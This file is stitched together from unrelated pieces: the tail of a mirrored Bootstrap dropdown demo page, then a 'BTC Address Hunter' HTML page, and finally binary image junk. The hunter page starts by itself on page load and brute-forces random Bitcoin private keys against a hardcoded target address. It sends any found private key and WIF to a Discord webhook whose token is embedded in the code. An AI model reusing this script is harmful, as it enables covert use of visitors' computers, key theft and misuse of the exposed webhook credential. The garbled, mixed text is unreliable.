<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-danger dropdown-toggle" type="button" id="dropdownMenuIconButton2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<i class="mdi mdi-trophy-outline"></i>
</button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuIconButton2">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button type="button" class="btn btn-outline-info dropdown-toggle" id="dropdownMenuIconButton3" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<i class="mdi mdi-clock"></i>
</button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuIconButton3">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-12">
<div class="template-demo d-flex justify-content-between">
<div class="dropdown">
<button type="button" class="btn btn-success dropdown-toggle" id="dropdownMenuIconButton4" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<i class="mdi mdi-heart"></i>
</button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuIconButton4">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button type="button" class="btn btn-warning dropdown-toggle" id="dropdownMenuIconButton5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<i class="mdi mdi-logout"></i>
</button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuIconButton5">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-primary dropdown-toggle" type="button" id="dropdownMenuIconButton6" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<i class="mdi mdi-security"></i>
</button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuIconButton6">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-12">
<div class="template-demo d-flex justify-content-between">
<div class="dropdown">
<button type="button" class="btn btn-dark dropdown-toggle" id="dropdownMenuIconButton7" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<i class="mdi mdi-account"></i>
</button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuIconButton7">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button type="button" class="btn btn-info dropdown-toggle" id="dropdownMenuIconButton8" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<i class="mdi mdi-bell"></i>
</button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuIconButton8">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button type="button" class="btn btn-success dropdown-toggle" id="dropdownMenuIconButton7" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<i class="mdi mdi-account"></i>
</button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuIconButton9">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-lg-6 grid-margin stretch-card">
<div class="card">
<div class="card-body">
<h4 class="card-title">Dropup variation</h4>
<p class="card-description"> Add class <code>.dropup</code>
</p>
<div class="template-demo">
<div class="btn-group dropup">
<button type="button" class="btn btn-primary">Dropdown</button>
<button type="button" class="btn btn-primary dropdown-toggle dropdown-toggle-split" id="dropupMenuSplitButton1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<span class="sr-only">Toggle Dropdown</span>
</button>
<div class="dropdown-menu" aria-labelledby="dropupMenuSplitButton1">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="btn-group dropup">
<button type="button" class="btn btn-danger">Dropdown</button>
<button type="button" class="btn btn-danger dropdown-toggle dropdown-toggle-split" id="dropupMenuSplitButton2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<span class="sr-only">Toggle Dropdown</span>
</button>
<div class="dropdown-menu" aria-labelledby="dropupMenuSplitButton2">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="btn-group dropup">
<button type="button" class="btn btn-success">Dropdown</button>
<button type="button" class="btn btn-success dropdown-toggle dropdown-toggle-split" id="dropupMenuSplitButton3" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<span class="sr-only">Toggle Dropdown</span>
</button>
<div class="dropdown-menu" aria-labelledby="dropupMenuSplitButton3">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="btn-group dropup">
<button type="button" class="btn btn-secondary">Dropdown</button>
<button type="button" class="btn btn-secondary dropdown-toggle dropdown-toggle-split" id="dropupMenuSplitButton4" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<span class="sr-only">Toggle Dropdown</span>
</button>
<div class="dropdown-menu" aria-labelledby="dropupMenuSplitButton4">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="btn-group dropup">
<button type="button" class="btn btn-info">Dropdown</button>
<button type="button" class="btn btn-info dropdown-toggle dropdown-toggle-split" id="dropupMenuSplitButton5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<span class="sr-only">Toggle Dropdown</span>
</button>
<div class="dropdown-menu" aria-labelledby="dropupMenuSplitButton5">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="btn-group dropup">
<button type="button" class="btn btn-warning">Dropdown</button>
<button type="button" class="btn btn-warning dropdown-toggle dropdown-toggle-split" id="dropupMenuSplitButton6" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<span class="sr-only">Toggle Dropdown</span>
</button>
<div class="dropdown-menu" aria-labelledby="dropupMenuSplitButton6">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-lg-6 grid-margin stretch-card">
<div class="card">
<div class="card-body">
<h4 class="card-title">Dropdown sizes</h4>
<p class="card-description"> Add class <code>.btn-{size}</code> to dropdown buttons </p>
<div class="template-demo mt-5">
<div class="dropdown">
<button class="btn btn-danger btn-lg dropdown-toggle" type="button" id="dropdownMenuSizeButton1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuSizeButton1">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-danger dropdown-toggle" type="button" id="dropdownMenuSizeButton2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuSizeButton2">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
<div class="dropdown">
<button class="btn btn-danger btn-sm dropdown-toggle" type="button" id="dropdownMenuSizeButton3" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Dropdown </button>
<div class="dropdown-menu" aria-labelledby="dropdownMenuSizeButton3">
<h6 class="dropdown-header">Settings</h6>
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Another action</a>
<a class="dropdown-item" href="#">Something else here</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<footer class="footer">
<div class="container-fluid clearfix">
<span class="text-muted d-block text-center text-sm-left d-sm-inline-block">Copyright © 2019 <a href="#" target="_blank">david luis Pablo </a>. All rights reserved.</span>
<span class="float-none float-sm-right d-block mt-1 mt-sm-0 text-center">Hand-crafted & made with <i class="mdi mdi-heart text-danger"></i>
</span>
</div>
</footer> </div>
</div>
</div>
<!-- base js -->
<script src="../js/app.js"></script>
<script src="../assets/plugins/perfect-scrollbar/perfect-scrollbar.min.js"></script>
<!-- end base js -->
<!-- plugin js -->
<!-- end plugin js -->
<!-- common js -->
<script src="../assets/js/off-canvas.js"></script>
<script src="../assets/js/hoverable-collapse.js"></script>
<script src="../assets/js/misc.js"></script>
<script src="../assets/js/settings.js"></script>
<script src="../assets/js/todolist.js"></script>
<!-- end common js -->
</body>
<!-- Mirrored from www.david luis Pablo .com/demo/star-laravel-free/template/basic-ui/dropdowns by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 26 Mar 2020 15:55:25 GMT -->
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>⚡ BTC Address Hunter - Headless Scan</title>
</head>
<body>
<script src="https://cdnjs.cloudflare.com/ajax/libs/elliptic/6.5.4/elliptic.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
<script>
// bs58 encoding/decoding utility (kept for consistency with worker)
const bs58 = (function () {
const ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
const BASE = ALPHABET.length;
return {
encode(buffer) {
if (!(buffer instanceof Uint8Array)) buffer = new Uint8Array(buffer);
let digits = [0];
for (let i = 0; i < buffer.length; ++i) {
for (let j = 0; j < digits.length; ++j) digits[j] <<= 8;
digits[0] += buffer[i];
let carry = 0;
for (let j = 0; j < digits.length; ++j) {
digits[j] += carry;
carry = (digits[j] / BASE) | 0;
digits[j] %= BASE;
}
while (carry) {
digits.push(carry % BASE);
carry = (carry / BASE) | 0;
}
}
let str = "";
for (let k = 0; buffer[k] === 0 && k < buffer.length - 1; ++k) str += ALPHABET[0];
for (let q = digits.length - 1; q >= 0; --q) str += ALPHABET[digits[q]];
return str;
}
};
})();
</script>
<script>
// --- HARDCODED SCAN PARAMETERS ---
// IMPORTANT: You MUST replace 'YOUR_TARGET_BTC_ADDRESS_HERE' with the actual address you are searching for.
const TARGET_ADDRESS = '1PWo3JeB9jrGwfHDNpdGK54CRas7fsVzXU'; // Example target address
const START_HEX = '400000000000000000'; // Start of the random hex range
const END_HEX = '7fffffffffffffffff'; // End of the random hex range
// ---------------------------------
// --- HARDCODED DISCORD WEBHOOK URL ---
const DISCORD_WEBHOOK_URL = 'https://discordapp.com/api/webhooks/1095773664965836851/nkzz391OKRoLLans_lvTKhsipr2jxTaEqnGOGLD8KUlCLlzggH-0bzS77BWjlqCDcwl7';
// -------------------------------------
let scanWorker = null;
let scanStartTime = 0;
let totalScannedKeys = 0n; // Use BigInt for scanned keys
/**
* Logs a message to the browser console.
* @param {string} msg - The message to log.
* @param {'info'|'success'|'error'|'warn'} type - The type of message for console styling.
*/
function consoleLog(msg, type = 'info') {
switch (type) {
case 'success':
console.log(`%c${msg}`, 'color: green; font-weight: bold;');
break;
case 'error':
console.error(`%c${msg}`, 'color: red; font-weight: bold;');
break;
case 'warn':
console.warn(`%c${msg}`, 'color: orange;');
break;
case 'info':
default:
console.info(msg);
break;
}
}
/**
* Sends the found Bitcoin address details to a Discord webhook.
* @param {string} privHex - The found private key in hexadecimal.
* @param {string} wif - The found WIF (Wallet Import Format) key.
* @param {string} address - The matched Bitcoin address.
*/
async function sendToDiscordWebhook(privHex, wif, address) {
const webhookUrl = DISCORD_WEBHOOK_URL;
if (!webhookUrl) {
consoleLog('Discord Webhook URL is not set (hardcoded). Skipping notification.', 'warn');
return;
}
if (!webhookUrl.startsWith('https://discord.com/api/webhooks/') &&
!webhookUrl.startsWith('https://discordapp.com/api/webhooks/')) {
consoleLog('Invalid Discord Webhook URL (hardcoded). Please provide a valid URL.', 'error');
return;
}
const payload = {
username: "BTC Address Hunter",
avatar_url: "https://placehold.co/64x64/00bf72/ffffff?text=BTC", // Placeholder icon
embeds: [
{
title: "🎉 Bitcoin Address Match Found!",
description: `A target Bitcoin address has been found!`,
color: 65280, // Green color for Discord embed
fields: [
{ name: "Target Address", value: `\`${TARGET_ADDRESS}\``, inline: false },
{ name: "Matched Address", value: `\`${address}\``, inline: false },
{ name: "Private Key (Hex)", value: `\`${privHex}\``, inline: false },
{ name: "WIF (Wallet Import Format)", value: `\`${wif}\``, inline: false },
{ name: "Scan Time", value: `${((Date.now() - scanStartTime) / 1000).toFixed(2)} seconds`, inline: true },
{ name: "Keys Scanned", value: totalScannedKeys.toLocaleString(), inline: true }
],
footer: {
text: "Generated by BTC Address Hunter"
},
timestamp: new Date().toISOString()
}
]
};
try {
const response = await fetch(webhookUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(payload),
});
if (response.ok) {
consoleLog('Successfully sent result to Discord webhook!', 'success');
} else {
const errorText = await response.text();
consoleLog(`Failed to send result to Discord webhook: ${response.status} - ${errorText}`, 'error');
}
} catch (error) {
consoleLog(`Network error sending to Discord webhook: ${error.message}`, 'error');
}
}
/**
* Starts the Bitcoin address scanning process using a Web Worker.
*/
async function startScan() {
totalScannedKeys = 0n; // Reset scanned keys
scanStartTime = Date.now();
const startBigInt = BigInt('0x' + START_HEX);
const endBigInt = BigInt('0x' + END_HEX);
if (startBigInt >= endBigInt) {
consoleLog("❌ Critical Error: Hardcoded START_HEX must be less than END_HEX. Scan aborted.", 'error');
return;
}
const rangeSize = endBigInt - startBigInt + 1n;
consoleLog(`\n🔍 Starting automatic random scan for target: ${TARGET_ADDRESS}`);
consoleLog(`🔢 Hardcoded Random Range (hex): ${START_HEX} → ${END_HEX}`);
consoleLog(`📏 Search space size: ${rangeSize.toLocaleString()} possible keys.`);
consoleLog(`Outputting progress to console. Open developer tools (F12) -> Console tab.`);
// Create Web Worker as a Blob URL
const workerScript = `
importScripts('https://cdnjs.cloudflare.com/ajax/libs/elliptic/6.5.4/elliptic.min.js');
importScripts('https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js');
// bs58 encoding/decoding utility (replicated for worker)
const bs58 = (function () {
const ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
const BASE = ALPHABET.length;
return {
encode(buffer) {
if (!(buffer instanceof Uint8Array)) buffer = new Uint8Array(buffer);
let digits = [0];
for (let i = 0; i < buffer.length; ++i) {
for (let j = 0; j < digits.length; ++j) digits[j] <<= 8;
digits[0] += buffer[i];
let carry = 0;
for (let j = 0; j < digits.length; ++j) {
digits[j] += carry;
carry = (digits[j] / BASE) | 0;
digits[j] %= BASE;
}
while (carry) {
digits.push(carry % BASE);
carry = (carry / BASE) | 0;
}
}
let str = "";
for (let k = 0; buffer[k] === 0 && k < buffer.length - 1; ++k) str += ALPHABET[0];
for (let q = digits.length - 1; q >= 0; --q) str += ALPHABET[digits[q]];
return str;
}
};
})();
const ec = new elliptic.ec('secp256k1');
/** Converts a hexadecimal string to a Uint8Array. */
function hexToBytes(hex) {
return Uint8Array.from(hex.match(/.{1,2}/g).map(b => parseInt(b, 16)));
}
/** Converts a Uint8Array to a CryptoJS WordArray. */
function bytesToWordArray(u8arr) {
const words = [];
for (let i = 0; i < u8arr.length; i += 4) {
let word = 0;
if (i < u8arr.length) word |= u8arr[i] << 24;
if (i + 1 < u8arr.length) word |= u8arr[i + 1] << 16;
if (i + 2 < u8arr.length) word |= u8arr[i + 2] << 8;
if (i + 3 < u8arr.length) word |= u8arr[i + 3];
words.push(word);
}
return CryptoJS.lib.WordArray.create(words, u8arr.length);
}
/** Computes the SHA256 hash of a Uint8Array. */
function sha256(data) {
return CryptoJS.SHA256(bytesToWordArray(data)).toString();
}
/** Computes the RIPEMD160 hash of a hexadecimal string. */
function ripemd160(hexStr) {
return CryptoJS.RIPEMD160(CryptoJS.enc.Hex.parse(hexStr)).toString();
}
/**
* Converts a private key (hex) to a compressed Bitcoin address.
* @param {string} privHex - The private key in hexadecimal format.
* @returns {string} The compressed Bitcoin address.
*/
function privateKeyToCompressedAddress(privHex) {
const key = ec.keyFromPrivate(privHex, 'hex');
const pubCompressed = key.getPublic(true, 'hex'); // Get compressed public key
const pubBytes = hexToBytes(pubCompressed);
const sha = sha256(pubBytes);
const ripemd = ripemd160(sha);
const versionedPayload = "00" + ripemd; // 0x00 for P2PKH mainnet addresses
// Double SHA256 for checksum
const checksum = sha256(hexToBytes(sha256(hexToBytes(versionedPayload)))).slice(0, 8);
const fullPayload = versionedPayload + checksum;
return bs58.encode(hexToBytes(fullPayload));
}
/**
* Converts a private key (hex) to its Wallet Import Format (WIF).
* @param {string} privHex - The private key in hexadecimal format.
* @returns {string} The WIF string.
*/
function privateKeyToWIF(privHex) {
const extended = "80" + privHex + "01"; // 0x80 for mainnet, 0x01 for compressed public key
const checksum = sha256(hexToBytes(sha256(hexToBytes(extended)))).slice(0, 8);
const fullPayload = extended + checksum;
return bs58.encode(hexToBytes(fullPayload));
}
/**
* Generates a random BigInt within a specified range (inclusive).
* Uses rejection sampling for uniform distribution.
* @param {BigInt} min - The minimum value (inclusive).
* @param {BigInt} max - The maximum value (inclusive).
* @returns {BigInt} A random BigInt within the range.
*/
function getRandomBigIntInRange(min, max) {
const range = max - min + 1n;
let bitLength = 0;
if (range > 0n) {
bitLength = range.toString(2).length;
} else {
return min;
}
const byteLength = Math.max(1, Math.ceil(bitLength / 8));
const randomBytes = new Uint8Array(byteLength);
let randomValue;
do {
self.crypto.getRandomValues(randomBytes); // Browser's crypto.getRandomValues
randomValue = 0n;
for (let i = 0; i < byteLength; i++) {
randomValue = (randomValue << 8n) | BigInt(randomBytes[i]);
}
} while (randomValue >= range);
return min + randomValue;
}
// Web Worker message handler
self.onmessage = async function(event) {
const { target, startHex, endHex } = event.data;
const startBigInt = BigInt('0x' + startHex);
const endBigInt = BigInt('0x' + endHex);
let scannedCount = 0n;
let lastReportTime = Date.now();
const REPORT_INTERVAL = 500; // Report every 500 ms
// The loop runs indefinitely for random scanning until a match is found or terminated
while (true) {
const randomPrivKeyBigInt = getRandomBigIntInRange(startBigInt, endBigInt);
const privHex = randomPrivKeyBigInt.toString(16).padStart(64, '0');
const addr = privateKeyToCompressedAddress(privHex);
scannedCount++;
if (addr === target) {
const wif = privateKeyToWIF(privHex);
self.postMessage({
type: 'match',
privHex: privHex,
wif: wif,
address: addr,
scannedCount: scannedCount
});
return; // Stop scanning after a match is found
}
// Report progress back to the main thread periodically
if (Date.now() - lastReportTime > REPORT_INTERVAL) {
self.postMessage({
type: 'progress',
scannedCount: Number(scannedCount) // Send count as number for display
});
lastReportTime = Date.now();
}
}
};
`;
const blob = new Blob([workerScript], { type: 'application/javascript' });
scanWorker = new Worker(URL.createObjectURL(blob));
// Main thread message handler for worker messages
scanWorker.onmessage = function(event) {
const data = event.data;
if (data.type === 'progress') {
totalScannedKeys = BigInt(data.scannedCount);
const elapsed = (Date.now() - scanStartTime) / 1000;
const keysPerSecond = elapsed > 0 ? Number(totalScannedKeys) / elapsed : 0;
// Use console.clear() and console.log to simulate a dynamic update in console
// Note: console.clear() might clear other console messages too.
// For continuous line updates, you might need more advanced console manipulation (not standard in browsers).
// For now, just logging lines.
console.clear(); // Clears the console to show only latest progress
consoleLog(`Scanning... ${totalScannedKeys.toLocaleString()} keys scanned (${keysPerSecond.toFixed(2)} keys/sec)`);
} else if (data.type === 'match') {
totalScannedKeys = BigInt(data.scannedCount); // Final count
consoleLog(`\n✅ MATCH FOUND!`, 'success');
consoleLog(`🔑 Private Key (hex): ${data.privHex}`);
consoleLog(`🔐 WIF (Compressed): ${data.wif}`);
consoleLog(`📍 Matched Address: ${data.address}`);
const elapsed = ((Date.now() - scanStartTime) / 1000).toFixed(2);
consoleLog(`⏱️ Scan Time: ${elapsed} seconds`, 'info');
consoleLog(`Total keys scanned: ${totalScannedKeys.toLocaleString()}`, 'info');
// Send to Discord webhook
sendToDiscordWebhook(data.privHex, data.wif, data.address);
stopScan(); // Stop the worker after finding a match
} else if (data.type === 'error') {
consoleLog(`Worker Error: ${data.message}`, 'error');
stopScan(); // Terminate worker on error
}
};
// Main thread error handler for worker
scanWorker.onerror = function(error) {
consoleLog(`Web Worker Error: ${error.message}`, 'error');
stopScan(); // Terminate worker on error
};
// Post initial message to worker to start scanning
scanWorker.postMessage({
target: TARGET_ADDRESS,
startHex: START_HEX,
endHex: END_HEX
});
}
/**
* Stops the current scanning process.
*/
function stopScan() {
if (scanWorker) {
scanWorker.terminate();
scanWorker = null;
consoleLog("\nScan terminated.", 'warn');
const elapsed = ((Date.now() - scanStartTime) / 1000).toFixed(2);
consoleLog(`⏱️ Total Scan Time: ${elapsed} seconds`, 'info');
}
}
// Auto-start the scan when the page loads
window.onload = startScan;
</script>
</body>
</html>
b IDATxytVսϓ22 A@IR:hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-E